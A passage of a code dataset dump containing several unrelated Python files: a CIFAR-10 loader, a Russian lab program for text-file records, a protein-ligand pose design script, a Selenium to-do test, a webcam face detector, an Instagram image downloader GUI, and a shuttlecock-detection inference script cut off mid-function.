\"\"\"The output of torchvision datasets are PILImage images of range [0, 1].\r\n We transform them to Tensors of normalized range [-1, 1].\r\n \"\"\"\r\n \r\n transform = transforms.Compose(\r\n [transforms.ToTensor(),\r\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])\r\n \r\n trainset = torchvision.datasets.CIFAR10(root='./data', train=True,\r\n download=True, transform=transform)\r\n trainloader = torch.utils.data.DataLoader(trainset, batch_size=16,\r\n shuffle=True, num_workers=2)\r\n \r\n testset = torchvision.datasets.CIFAR10(root='./data', train=False,\r\n download=True, transform=transform)\r\n testloader = torch.utils.data.DataLoader(testset, batch_size=4,\r\n shuffle=False, num_workers=2)\r\n \r\n classes = ('plane', 'car', 'bird', 'cat',\r\n 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')\r\n \r\n return trainset, trainloader, testset, testloader, classes","sub_path":"fetch_data_step.py","file_name":"fetch_data_step.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"503159330","text":"\"\"\"\nЛР11: Записи\n\nНазначение:\n Написать программу для работы с записями одинаковой структуры в текстовом\n файле\n Меню:\n Выбор файла\n Создание нового набора записей\n Добавление записей\n Вывод всех записей\n Поиск по одному полю\n Поиск по двум полям\n Записи хранить в одной строке. В записи 3-4 поля, разделенные проблами\n\"\"\"\n\nmenu = \"\"\"\nМЕНЮ:\n1 - Выбор файла\n2 - Создание нового набора записей\n3 - Добавление записей\n4 - Вывод всех записей\n5 - Поиск по одному полю\n6 - Поиск по двум полям\n7 - Поиск по времени\n\n0 - Выход\n\"\"\"\n\n\ndef fileSelection():\n while True:\n fileName = input(\"\\nВведите имя файла: \")\n try:\n file = open(fileName)\n file.close()\n except FileNotFoundError:\n print(\"Файл не найден\")\n choiceCreate = None\n while choiceCreate not in [\"y\", \"n\"]:\n choiceCreate = input(\"Создать его?[y/n] \")\n if choiceCreate == \"y\":\n try:\n file = open(fileName, \"x\")\n file.close()\n except Exception as exp:\n print(\"Не удалось создать файл\")\n print(\"Ошибка: \" + exp)\n else:\n print(\"Файл {:s} создан\".format(fileName))\n break\n else:\n print(\"Файл не создан\")\n else:\n print(\"Файл {:s} выбран\".format(fileName))\n break\n return fileName\n\n\ndef newSet(fileName):\n file = open(fileName, \"w\")\n file.close()\n addRecords(fileName)\n\n\ndef checkRecord(record):\n if record == None or record.count(\" \") != 2:\n if record != None:\n print(\"\\nВ записи должно быть 3 поля\")\n return False\n if record == \"\":\n print(\"\\nВведена пустая строка\")\n return False\n\n record = record.split()\n if not (record[0] + record[1]).isalpha():\n print(\"\\nПервые 2 поля должны состоять из букв\")\n return False\n if len(record[2]) != 5 or record[2][2] != \":\":\n print(\n \"Т\\nретье поле - время. Должно состоять из 2х двузначных \" +\n \"чисел разделенных двоеточием\"\n )\n return False\n return True\n\n\ndef addRecords(fileName):\n with open(fileName, \"a\") as file:\n recordsCount = int(input(\"\\nВведите число новых записей: \"))\n while recordsCount < 0:\n print(\"Количество записей должно быть неотрицательным\")\n recordsCount = int(input(\"\\nВведите число новых записей: \"))\n for i in range(recordsCount):\n newRecord = (\n input(\"Введите запись №{:d}: \".format(i + 1))\n .strip()\n .replace(\" \", \" \")\n )\n while not checkRecord(newRecord):\n print(\"Пример корректной записи:\\nМосква Прага 20:21\")\n newRecord = (\n input(\"Введите запись №{:d}: \".format(i + 1))\n .strip()\n .replace(\" \", \" \")\n )\n file.write(newRecord + \"\\n\")\n printFile(fileName)\n\n\ndef printFile(fileName):\n with open(fileName) as file:\n firstLine = file.readline()\n if firstLine == \"\":\n print(\"\\nФайл пуст\")\n else:\n print(\"\\nСодержимое файла:\")\n with open(fileName) as file:\n for line in file:\n print(line, end=\"\")\n\n\ndef searchOneSpace(fileName):\n searchSpace = input(\"Введите значение для поиска: \")\n isFound = False\n with open(fileName) as file:\n for record in file:\n if searchSpace in record:\n isFound = True\n break\n if isFound:\n print(\"\\nНайденные совпадения: \")\n with open(fileName) as file:\n for record in file:\n if searchSpace in record:\n print(record, end=\"\")\n else:\n print(\"\\nСовпадения не найдены\")\n\n\ndef searchTwoSpace(fileName):\n searchSpace1, searchSpace2 = input(\"Введите 2 значения для поиска: \"\n ).split()\n isFound = False\n with open(fileName) as file:\n for record in file:\n if searchSpace1 in record and searchSpace2 in record:\n isFound = True\n break\n if isFound:\n print(\"\\nНайденные совпадения: \")\n with open(fileName) as file:\n for record in file:\n if searchSpace1 in record and searchSpace2 in record:\n print(record, end=\"\")\n else:\n print(\"Совпадения не найдены\")\n\n\ndef timeStrToInt(s):\n return int(s[:2])*60 + int(s[3:])\n\n\ndef nDelete(s):\n while s != '' and s[-1]=='\\n':\n s = s[:len(s)-1]\n return s\n\n\ndef getSpace(record, i):\n return ((nDelete(record)).split())[i]\n\n\ndef searchTime(fileName):\n timeStart, timeEnd = map(timeStrToInt,\n input(\"Введите диапозон времени: \").split())\n while timeStart > timeEnd:\n print(\"Начальное значние должно быть не больше конечного\")\n timeStart, timeEnd = map(timeStrToInt,\n input(\"\\nВведите диапозон времени: \").split())\n eh = []\n with open(fileName) as file:\n for record in file:\n if timeStart <= timeStrToInt(getSpace(record,2)) <= timeEnd:\n eh.append(nDelete(record))\n eh.sort(key=lambda x: timeStrToInt(getSpace(x, 2)))\n if eh == []:\n print(\"\\nВылеты не найдены\")\n else:\n print(\"\\nНайденные вылеты:\")\n for record in eh:\n print(record)\n\n\ndef main():\n fileName = fileSelection()\n choice = None\n while choice != \"0\":\n print(menu)\n choice = input(\"Ваш выбор: \")\n if choice == \"1\":\n fileName = fileSelection()\n elif choice == \"2\":\n newSet(fileName)\n elif choice == \"3\":\n addRecords(fileName)\n elif choice == \"4\":\n printFile(fileName)\n elif choice == \"5\":\n searchOneSpace(fileName)\n elif choice == \"6\":\n searchTwoSpace(fileName)\n elif choice == \"7\":\n searchTime(fileName)\n elif choice == \"0\":\n print(\"\\nВыход\")\n else:\n print(\"Данного номера нет в меню\")\n\n\nmain()\n","sub_path":"lab_11/lab_11.py","file_name":"lab_11.py","file_ext":"py","file_size_in_byte":7286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"582343184","text":"import sys\nsys.path.append('/Users/npolizzi/Projects/combs/src/')\nimport combs\nimport prody as pr\nimport pickle\nimport numpy as np\nimport functools\nfrom sklearn.neighbors import NearestNeighbors\nimport os\nimport copy\n\n\npdb_path = '/Users/npolizzi/Projects/combs/src/runs/apixaban/'\nsample = combs.Sample()\nsample.poi = pr.parsePDB(pdb_path + '20171024/00001.d8ad46ad8b96.allbb.pdb')\nsample.bs_residues = list(zip([10,13,17,20, 10,13,17,20, 10,13,17,20, 10,13,17,20, 10,13,17,20,],\n ['A', 'A', 'A', 'A', 'B', 'B', 'B', 'B', 'C', 'C','C','C',\n 'E', 'E', 'E', 'E', 'F', 'F', 'F', 'F']))\nsample.set_rois()\nsample.set_rois_phipsi()\nsample.set_poi_clash_coords()\nsample.set_roi_bb_coords()\nsample.ligand_conformers = [pr.parsePDB(pdb_path + 'apix.pdb')]\n\nrelvdm_preproline_carbonyl = combs.Rel_Vandermer.RelVandermer('preprolinecarbonyl')\nrelvdm_preproline_carbonyl.rel_vdm_path = '/Users/npolizzi/Projects/combs/results/preproline_carbonyl/rel_vdms_hbond_carbonyl/20171022/'\n\nno_charge = set(combs.constants.one_letter_code.keys()) - {'LYS', 'ARG', 'GLU', 'ASP', 'MSE', 'ANY'}\nrelvdm_preproline_carbonyl.load_rel_vdms_pickle(sample, subset=no_charge)\nrelvdm_preproline_carbonyl.set_rel_vdm_bb_coords()\nrelvdm_preproline_carbonyl.set_rois_rot_trans(sample)\nrelvdm_preproline_carbonyl.set_rel_vdm_tags(sample)\nprint('moving vdMs')\nrelvdm_preproline_carbonyl.move_rel_vdms(sample)\nprint('removing clashing vdMs')\nrelvdm_preproline_carbonyl.remove_clash(sample)\nrelvdm_preproline_carbonyl.reshape_ifgs()\nall_ifgs = functools.reduce(lambda a, b: np.vstack((a, b)),\n [val for val in relvdm_preproline_carbonyl._ifgs.values()])\nprint('finding hotspots preproline carbonyl')\nnbrs = NearestNeighbors(metric='euclidean', radius=1.0, algorithm='kd_tree')\nnbrs.fit(all_ifgs)\nadj_mat = nbrs.radius_neighbors_graph(all_ifgs)\nprint('clustering...')\nmems, cents = combs.Cluster.cluster_adj_mat_gt(adj_mat, gt=15)\n\n\nall_resnum_chid = functools.reduce(lambda a, b: np.vstack((a, b)),\n [np.array([tuple(key)]*len(val), dtype=object)\n for key, val in relvdm_preproline_carbonyl._vdm_tags.items()])\nall_vdm_tags = functools.reduce(lambda a, b: np.vstack((a, b)),\n [val for val in relvdm_preproline_carbonyl._vdm_tags.values()])\nall_resn = functools.reduce(lambda a, b: np.hstack((a, b)),\n [val for val in relvdm_preproline_carbonyl._resn.values()])\nall_type = functools.reduce(lambda a, b: np.hstack((a, b)),\n [val for val in relvdm_preproline_carbonyl._type.values()])\nall_indices = functools.reduce(lambda a, b: np.hstack((a, b)),\n [val for val in relvdm_preproline_carbonyl._indices.values()])\nrelvdm_preproline_carbonyl._all_vdm_tags = all_vdm_tags\nrelvdm_preproline_carbonyl._all_type = all_type\nrelvdm_preproline_carbonyl._all_resn = all_resn\nrelvdm_preproline_carbonyl._all_resnum_chid = all_resnum_chid\nrelvdm_preproline_carbonyl._all_ifgs = all_ifgs\nprint('ppc ifgs: ', len(all_ifgs))\nrelvdm_preproline_carbonyl._all_indices = all_indices\n\n\n\nrelvdm_preproline_carbonyl.rel_vdms_pickle = None\nrelvdm_preproline_carbonyl.rel_vdm_ifg_coords = None\nrelvdm_preproline_carbonyl.rel_vdm_bb_coords = None\nrelvdm_preproline_carbonyl.rel_vdm_sc_coords = None\nrelvdm_preproline_carbonyl.rel_vdm_tags = None\nrelvdm_preproline_carbonyl.rel_vdm_resnames = None\nrelvdm_preproline_carbonyl._ifgs = None\nrelvdm_preproline_carbonyl._resn = None\nrelvdm_preproline_carbonyl._type = None\nrelvdm_preproline_carbonyl._vdm_tags = None\nrelvdm_preproline_carbonyl._indices = None\nrelvdm_preproline_carbonyl.ifg_dict = {'ANY': 'C O'}\nrelvdm_preproline_carbonyl._mems = mems\nrelvdm_preproline_carbonyl._cents = cents\nrelvdm_preproline_carbonyl.lig_ifg_correspondence = 'C8 O3'\n\noutdir = '/Users/npolizzi/Projects/combs/results/apixaban/20171024/'\ntry:\n os.makedirs(outdir)\nexcept:\n pass\n\nwith open(outdir + 'relvdm_preproline_carbonyl.pickle', 'wb') as outfile:\n pickle.dump(relvdm_preproline_carbonyl, outfile)\n\n\nrelvdm_preproline_carbonyl2 = copy.deepcopy(relvdm_preproline_carbonyl)\nrelvdm_preproline_carbonyl2.lig_ifg_correspondence = 'C19 O2'\nrelvdm_preproline_carbonyl2.name = 'preprolinecarbonyl2'\n\nrelvdm_carboxamide = combs.Rel_Vandermer.RelVandermer('carboxamide')\nrelvdm_carboxamide.rel_vdm_path = '/Users/npolizzi/Projects/combs/results/carboxamide/rel_vdms_hbond/20171023/'\nrelvdm_carboxamide.load_rel_vdms_pickle(sample, subset=no_charge)\nrelvdm_carboxamide.set_rel_vdm_bb_coords()\nrelvdm_carboxamide.set_rois_rot_trans(sample)\nrelvdm_carboxamide.set_rel_vdm_tags(sample)\nprint('moving vdMs')\nrelvdm_carboxamide.move_rel_vdms(sample)\nprint('removing clashing vdMs')\nrelvdm_carboxamide.remove_clash(sample)\nrelvdm_carboxamide.reshape_ifgs()\nall_ifgs = functools.reduce(lambda a, b: np.vstack((a, b)),\n [val for val in relvdm_carboxamide._ifgs.values()])\nprint('finding hotspots carboxamide')\nnbrs = NearestNeighbors(metric='euclidean', radius=1.5, algorithm='kd_tree')\nnbrs.fit(all_ifgs)\nadj_mat = nbrs.radius_neighbors_graph(all_ifgs)\nprint('clustering...')\nmems, cents = combs.Cluster.cluster_adj_mat_gt(adj_mat, gt=35)\nall_resnum_chid = functools.reduce(lambda a, b: np.vstack((a, b)),\n [np.array([tuple(key)]*len(val), dtype=object)\n for key, val in relvdm_carboxamide._vdm_tags.items()])\nall_vdm_tags = functools.reduce(lambda a, b: np.vstack((a, b)),\n [val for val in relvdm_carboxamide._vdm_tags.values()])\nall_resn = functools.reduce(lambda a, b: np.hstack((a, b)),\n [val for val in relvdm_carboxamide._resn.values()])\nall_type = functools.reduce(lambda a, b: np.hstack((a, b)),\n [val for val in relvdm_carboxamide._type.values()])\nall_indices = functools.reduce(lambda a, b: np.hstack((a, b)),\n [val for val in relvdm_carboxamide._indices.values()])\nrelvdm_carboxamide._all_vdm_tags = all_vdm_tags\nrelvdm_carboxamide._all_type = all_type\nrelvdm_carboxamide._all_resn = all_resn\nrelvdm_carboxamide._all_resnum_chid = all_resnum_chid\nrelvdm_carboxamide._all_ifgs = all_ifgs\nprint('carboxamide ifgs: ', len(all_ifgs))\nrelvdm_carboxamide._all_indices = all_indices\n\nrelvdm_carboxamide.rel_vdms_pickle = None\nrelvdm_carboxamide.rel_vdm_ifg_coords = None\nrelvdm_carboxamide.rel_vdm_bb_coords = None\nrelvdm_carboxamide.rel_vdm_sc_coords = None\nrelvdm_carboxamide.rel_vdm_tags = None\nrelvdm_carboxamide.rel_vdm_resnames = None\nrelvdm_carboxamide._ifgs = None\nrelvdm_carboxamide._resn = None\nrelvdm_carboxamide._type = None\nrelvdm_carboxamide._vdm_tags = None\nrelvdm_carboxamide._indices = None\nrelvdm_carboxamide.ifg_dict = {'GLN': 'CG CD OE1 NE2'}\nrelvdm_carboxamide._mems = mems\nrelvdm_carboxamide._cents = cents\nrelvdm_carboxamide.lig_ifg_correspondence = 'C10 C11 O1 N3'\n\nwith open(outdir + 'relvdm_carboxamide.pickle', 'wb') as outfile:\n pickle.dump(relvdm_carboxamide, outfile)\n\n\n#\n# inpath = '/Users/npolizzi/Projects/combs/results/apixaban/20171022/'\n# with open(inpath + 'relvdm_preproline_carbonyl.pickle', 'rb') as infile:\n# relvdm_preproline_carbonyl = pickle.load(infile)\n# with open(inpath + 'relvdm_carboxamide.pickle', 'rb') as infile:\n# relvdm_carboxamide = pickle.load(infile)\n# with open(inpath + 'sample.pickle', 'rb') as infile:\n# sample = pickle.load(infile)\n\n# carboxam_clusters_gt10 = [i for i, mem in enumerate(relvdm_carboxamide._mems) if len(mem) >= 10]\n# ppc_clusters_gt = [i for i, mem in enumerate(relvdm_preproline_carbonyl._mems) if len(mem) >= 15]\n# relvdm_carboxamide._cents = [relvdm_carboxamide._cents[i] for i in carboxam_clusters_gt10]\n# relvdm_preproline_carbonyl._cents = [relvdm_preproline_carbonyl._cents[i] for i in ppc_clusters_gt]\n# relvdm_preproline_carbonyl2._cents = relvdm_preproline_carbonyl._cents\n\n# relvdm_preproline_carbonyl2 = copy.deepcopy(relvdm_preproline_carbonyl)\n# relvdm_preproline_carbonyl2.lig_ifg_correspondence = 'C19 O2'\n# relvdm_preproline_carbonyl2.name = 'preprolinecarbonyl2'\n\nrelvdms = [relvdm_preproline_carbonyl, relvdm_carboxamide, relvdm_preproline_carbonyl2]\nsample.relvdms = {}\nsample.relvdms['carboxamide'] = relvdm_carboxamide\nsample.relvdms['preprolinecarbonyl'] = relvdm_preproline_carbonyl\nsample.relvdms['preprolinecarbonyl2'] = relvdm_preproline_carbonyl2\nprint('finding cluster pairs')\nsample.find_ligand_cst_cliques(relvdms, **{'maxlen': 3, 'atol1': 1.4, 'atol2': 1.4, 'pc': 1})\n\nsample.poi = None\nsample.rois = None\n\nwith open(outdir + 'sample.pickle', 'wb') as outfile:\n pickle.dump(sample, outfile)\n\nsample.poi = pr.parsePDB(pdb_path + '20171024/00001.d8ad46ad8b96.allbb.pdb')\n\nsample.set_protein_bb_coords()\nprint('making cluster densities')\nsample.make_cluster_densities(relvdms)\nprint('fitting ligand to density')\nprint('number of cliques: ' + str(len(sample.cliques)))\nsample.fit_lig_to_cluster_densities(relvdms, order=['carboxamide', 'preprolinecarbonyl', 'preprolinecarbonyl2'], num_proc=8)\n\n\nnbrs = {}\nnbrs['carboxamide'] = NearestNeighbors(metric='euclidean', radius=1.5, algorithm='kd_tree').fit(relvdm_carboxamide._all_ifgs)\nnbrs['preprolinecarbonyl'] = NearestNeighbors(metric='euclidean', radius=1, algorithm='kd_tree').fit(relvdm_preproline_carbonyl._all_ifgs)\nnbrs['preprolinecarbonyl2'] = NearestNeighbors(metric='euclidean', radius=1, algorithm='kd_tree').fit(relvdm_preproline_carbonyl2._all_ifgs)\n\nfor pose in sample.poses:\n mems = {}\n score_breakdown = {}\n for name in pose.lig_ifg_coords.keys():\n mems[name] = nbrs[name].radius_neighbors(pose.lig_ifg_coords[name], return_distance=False)[0]\n score_breakdown[name] = len(mems[name])\n pose.mems = mems\n pose.score = np.prod(np.array(list(score_breakdown.values()))+np.ones(len(score_breakdown.values())))\n pose.score_breakdown = score_breakdown\nscores = [p.score for p in sample.poses]\nscores_sorted = sorted(scores, reverse=True)\ninds_scores_sorted = sorted(range(len(scores)), reverse=True, key=lambda x: scores[x])\nsample.pose_scores = list(zip(scores_sorted, inds_scores_sorted))\n\n[pose.get_nonclashing(sample) for pose in sample.poses]\n\nfor pose in sample.poses:\n score_breakdown_prune = {}\n for name in pose.mems_prune.keys():\n score_breakdown_prune[name] = len(pose.mems_prune[name])\n pose.score_prune = np.prod(np.array(list(score_breakdown_prune.values()))+np.ones(len(score_breakdown_prune.values())))\n pose.score_breakdown_prune = score_breakdown_prune\nscores_prune = [p.score_prune for p in sample.poses]\nscores_prune_sorted = sorted(scores_prune, reverse=True)\ninds_scores_prune_sorted = sorted(range(len(scores_prune)), reverse=True, key=lambda x: scores_prune[x])\nsample.pose_scores_pruned = list(zip(scores_prune_sorted, inds_scores_prune_sorted))\n\nsample.poi = None\nwith open(outdir + 'sample_fit.pickle', 'wb') as outfile:\n pickle.dump(sample, outfile)\n\nsample.poi = pr.parsePDB(pdb_path + '20171024/00001.d8ad46ad8b96.allbb.pdb')","sub_path":"src/runs/apixaban/20171024/apixaban_5helix_bp_poses.py","file_name":"apixaban_5helix_bp_poses.py","file_ext":"py","file_size_in_byte":11132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"331038162","text":"import unittest\nimport time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\n\nclass NewVisitorTest(unittest.TestCase):\n\n\tdef setUp(self):\n\t\tself.browser = webdriver.Firefox()\n\n\tdef tearDown(self):\n\t\tself.browser.quit()\n\n\tdef check_for_task_in_list(self, task_string):\n\t\ttask_list = self.browser.find_element_by_id('task_list')\n\t\ttask_listitems = task_list.find_elements_by_tag_name('li')\n\n\t\tself.assertIn(\n\t\t\ttask_string,\n\t\t\t[item.text for item in task_listitems]\n\t\t)\n\n\tdef test_can_start_and_retrieve_a_list(self):\n\t\tself.browser.get('http://localhost:8000')\n\t\tself.assertIn('To-Do', self.browser.title)\n\n\tdef test_can_create_new_list(self):\n\t\tself.browser.get('http://localhost:8000')\n\t\tinput = self.browser.find_element_by_id('id_new_item')\n\n\t\tinput.send_keys('Finish CSCI40 Project')\n\t\tinput.send_keys(Keys.ENTER)\n\t\ttime.sleep(3)\n\n\t\tself.check_for_task_in_list('1: Finish CSCI40 Project')\n\n\t\tinput.send_keys('Finish watching all the videos')\n\t\tinput.send_keys(Keys.ENTER)\n\t\ttime.sleep(3)\n\n\t\tself.check_for_task_in_list('2: Finish watching all the videos')\n\t\nif __name__ == '__main__':\n\tunittest.main(warnings='ignore')\n","sub_path":"Django REST Framework/functional_test.py","file_name":"functional_test.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"256530777","text":"import cv2\nimport numpy as np\n\ncap = cv2.VideoCapture(1)\n\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n\n\nwhile 1:\n\tret,img=cap.read()\n\tgray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n\tfaces = face_cascade.detectMultiScale(gray, 1.3, 5)\n\tfor (x,y,w,h) in faces :\n\t\tcv2.circle(img,(x+(h/2),y+(w/2)),((w+h)/2),(255,255,0),2)\n\t\troi_gray = gray[y:y+h,x:x+w]\n\t\troi_color = img[y:y+h,x:x+w]\n\tcv2.imshow('',img)\n\tk = cv2.waitKey(30) & 0xff\n\tif k == 27 :\n\t\tbreak\n\n\t\ncap.release()\ncv2.destroyAllWindows()","sub_path":"EXTRA/face.py","file_name":"face.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"232554531","text":"from appJar import gui\nimport os\nimport sys\nfrom PIL import Image, ImageTk\n\ndef press():\n os.system('clear')\n URLINSTA = app.entry(\"Instagram url\")\n print(\"Importing\")\n import requests\n from bs4 import BeautifulSoup\n\n headers = {\"User-Agent\": 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15'}\n\n print(\"Downloading\")\n\n page = requests.get(URLINSTA, headers=headers)\n\n soup = BeautifulSoup(page.content, 'html.parser')\n\n image = soup.find(\"meta\", property=\"og:image\")\n\n title = soup.find(\"meta\", property=\"og:title\")\n\n print(image[\"content\"] if title else \"Er is geen afbeelding.\")\n print(\"\")\n print(\"Dit is de beschrijving:\")\n print(title[\"content\"] if title else \"Er is geen beschrijving.\")\n print(\"\")\n #test link https://www.instagram.com/p/B-PZFIvAT7a/\n import wget\n #test link googe docs https://docs.google.com/document/d/17WRu2xbcR_yqTmWaebbTjlKUcdCqNb-3wDx5A_SHui8/edit?usp=sharing\n base_dir = os.path.dirname(os.path.abspath(__file__))\n target = \"tatiana_art\"\n prefix_list = [\"91018230_151840196296351_1894637158564459764_n\"]\n base_dir = os.path.dirname(os.path.abspath(__file__))\n target = \"tatiana_art\"\n prefix_list = [\"91018230_151840196296351_1894637158564459764_n\"]\n\n for prefix in prefix_list:\n path = os.path.join(base_dir, \"tatiana\")\n if not os.path.exists(path):\n os.mkdir(path)\n if not os.path.isdir(path):\n exit()\n print(\"\")\n local_image_filename = wget.download(image[\"content\"], out=path)\n x = len(os.listdir('/Users/MWK/Desktop/tatiana/'))-1\n source = local_image_filename\n dest = '/Users/MWK/Desktop/tatiana/tatiana_art_{n}.jpg'.format(n=x)\n\n os.rename(source, dest)\n image = Image.open(dest)\n new_image = image.resize((270, 480))\n new_image.save('/Users/MWK/Desktop/tatiana/tatiana_art_{n}.jpg'.format(n=x))\n photo = ImageTk.PhotoImage(Image.open(dest))\n app.addImageData(\"pic\", photo, fmt=\"PhotoImage\")\n app.stop()\n\n\n\nwin_sis = \"773x435\"\n\nwith gui(\"Login Window\", win_sis, font={'size':14}) as app:\n app.label(\"Welcome to insta downloader\")\n app.entry(\"Instagram url\", label=True, focus=True)\n app.buttons([\"Submit\"], [press])\n app.clearImageCache()\n","sub_path":"pygui kopie.py","file_name":"pygui kopie.py","file_ext":"py","file_size_in_byte":2325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"146395273","text":"import numpy as np\nimport os\nimport tensorflow as tf\nfrom PIL import Image\nimport PIL.ImageDraw as ImageDraw\n# This is needed since the notebook is stored in the object_detection folder.\nfrom object_detection.utils import ops as utils_ops\nfrom model.badminton.court_model import BadmintonCourt\nimport skimage\nfrom matplotlib import pyplot as plt\nimport cv2\n\n\nfrom object_detection.utils import label_map_util\nfrom object_detection.utils import visualization_utils as vis_util\n\n# Path to frozen detection graph. This is the actual model that is used for the object detection.\nPATH_TO_CKPT = \"/home/seten/TFM/exported_graphs/model_shuttlecock_4_channels_0/frozen_inference_graph.pb\"\n# List of the strings that is used to add correct label for each box.\nPATH_TO_LABELS = \"/home/seten/TFM/exported_graphs/model_shuttlecock_subtract_0/shuttle_map.pbtxt\"\nPATH_TO_TEST_IMAGES_DIR = '/media/seten/Datos/diego/TFM/dataset_tfm/shuttlecock/secuencias/11'\nOUT_PATH_EVAL_IMAGES = \"/home/seten/TFM/debug_images/model_shuttlecock_4_channels_0/concat_1_11\"\nNUM_CLASSES = 1\n# Size, in inches, of the output images.\nIMAGE_SIZE = (192, 128)\n\n\ndef load_image_into_numpy_array(image):\n (im_width, im_height) = image.size\n return np.array(image.getdata()).reshape(\n (im_height, im_width, 3)).astype(np.uint8)\n\n\ndef main():\n print(\"Creating eval directory\")\n os.makedirs(OUT_PATH_EVAL_IMAGES, exist_ok=True)\n\n # load frozen graph in memory\n detection_graph = tf.Graph()\n with detection_graph.as_default():\n od_graph_def = tf.GraphDef()\n with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n\n # load label map\n label_map = label_map_util.load_labelmap(PATH_TO_LABELS)\n categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES,\n use_display_name=True)\n category_index = label_map_util.create_category_index(categories)\n\n ordered_test_set = [i for i in\n sorted(filter(lambda a: a.endswith(\".jpeg\"), os.listdir(PATH_TO_TEST_IMAGES_DIR)))]\n print(\"We are going to run the inference for {} images\".format(len(ordered_test_set)))\n\n for i in range(len(ordered_test_set)):\n print(\"running {}: {}\".format(i, ordered_test_set[i]))\n im_current_path = os.path.join(PATH_TO_TEST_IMAGES_DIR, ordered_test_set[i])\n im_prev_path = im_current_path if i == 0 else os.path.join(PATH_TO_TEST_IMAGES_DIR, ordered_test_set[i - 1])\n\n current_frame = skimage.io.imread(im_current_path)\n prev_frame = skimage.io.imread(im_prev_path)\n image_s = cv2.subtract(current_frame, prev_frame)\n image_s = cv2.cvtColor(image_s, cv2.COLOR_BGR2GRAY)\n image_s = np.expand_dims(image_s, axis=2)\n four_channels_im = np.concatenate((current_frame,image_s,image_s),axis=2)\n\n # Image.fromarray(image_s).save(\"tmp.jpeg\")\n\n out_debug_image_path = os.path.join(OUT_PATH_EVAL_IMAGES, os.path.basename(im_current_path))\n # if os.path.isfile(out_debug_image_path):\n # continue\n\n # image = Image.open(image_path)\n # the array based representation of the image will be used later in order to prepare the\n # result image with boxes and labels on it.\n # image_np = load_image_into_numpy_array(image)\n # Expand dimensions since the model expects images to have shape: [1, None, None, 3]\n image_np_expanded = np.expand_dims(image_s, axis=0)\n # Actual detection.\n output_dict = run_inference_for_single_image(four_channels_im, detection_graph)\n # Visualization of the results of a detection.\n\n # draw only poles\n\n vis_util.visualize_boxes_and_labels_on_image_array(\n current_frame,\n output_dict['detection_boxes'],\n output_dict['detection_classes'],\n output_dict['detection_scores'],\n category_index,\n instance_masks=output_dict.get('detection_masks'),\n use_normalized_coordinates=True,\n line_thickness=4)\n plt.figure(figsize=IMAGE_SIZE)\n plt.imshow(current_frame)\n\n # draw_court_lines_from_detections(image_np, output_dict['detection_boxes'],\n # output_dict['detection_classes'],\n # output_dict['detection_scores'])\n\n Image.fromarray(current_frame).save(out_debug_image_path)\n\n\ndef run_inference_for_single_image(image, graph):\n with graph.as_default():\n with tf.Session() as sess:\n # Get handles to input and output tensors\n ops = tf.get_default_graph().get_operations()\n all_tensor_names = {output.name for op in ops for output in op.outputs}\n tensor_dict = {}\n for key in [\n 'num_detections', 'detection_boxes', 'detection_scores',\n 'detection_classes', 'detection_masks'\n ]:\n tensor_name = key + ':0'\n if tensor_name in all_tensor_names:\n tensor_dict[key] = tf.get_default_graph().get_tensor_by_name(\n tensor_name)\n if 'detection_masks' in tensor_dict:\n print(\"we have masks! :)\")\n # The following processing is only for single image\n detection_boxes = tf.squeeze(tensor_dict['detection_boxes'], [0])\n detection_masks = tf.squeeze(tensor_dict['detection_masks'], [0])\n # Reframe is required to translate mask from box coordinates to image coordinates and fit the image size.\n real_num_detection = tf.cast(tensor_dict['num_detections'][0], tf.int32)\n detection_boxes = tf.slice(detection_boxes, [0, 0], [real_num_detection, -1])\n detection_masks = tf.slice(detection_masks, [0, 0, 0], [real_num_detection, -1, -1])\n detection_masks_reframed = utils_ops.reframe_box_masks_to_image_masks(\n detection_masks, detection_boxes, image.shape[0], image.shape[1])\n detection_masks_reframed = tf.cast(\n tf.greater(detection_masks_reframed, 0.5), tf.uint8)\n # Follow the convention by adding back the batch dimension\n tensor_dict['detection_masks'] = tf.expand_dims(\n detection_masks_reframed, 0)\n image_tensor = tf.get_default_graph().get_tensor_by_name('image_tensor:0')\n\n # Run inference\n output_dict = sess.run(tensor_dict,\n feed_dict={image_tensor: np.expand_dims(image, 0)})\n\n # all outputs are float32 numpy arrays, so convert types as appropriate\n output_dict['num_detections'] = int(output_dict['num_detections'][0])\n output_dict['detection_classes'] = output_dict[\n 'detection_classes'][0].astype(np.uint8)\n output_dict['detection_boxes'] = output_dict['detection_boxes'][0]\n output_dict['detection_scores'] = output_dict['detection_scores'][0]\n if 'detection_masks' in output_dict:\n output_dict['detection_masks'] = output_dict['detection_masks'][0]\n return output_dict\n\n\ndef order_corner_points_for_homography(corners_points):\n \"\"\"\n\n :param corners_points:\n :return:\n \"\"\"\n # order by y\n sorted_y_corners = sorted(corners_points, key=lambda p: p[1])\n top_left = sorted(sorted_y_corners[:2], key=lambda p: p[0])[0]\n top_right = sorted(sorted_y_corners[:2], key=lambda p: p[0])[1]\n bottom_left = sorted(sorted_y_corners[2:4], key=lambda p: p[0])[0]\n bottom_right = sorted(sorted_y_corners[2:4], key=lambda p: p[0])[1]\n return [bottom_left, bottom_right, top_left, top_right]\n\n\ndef draw_court_lines_from_detections(image,\n boxes,\n 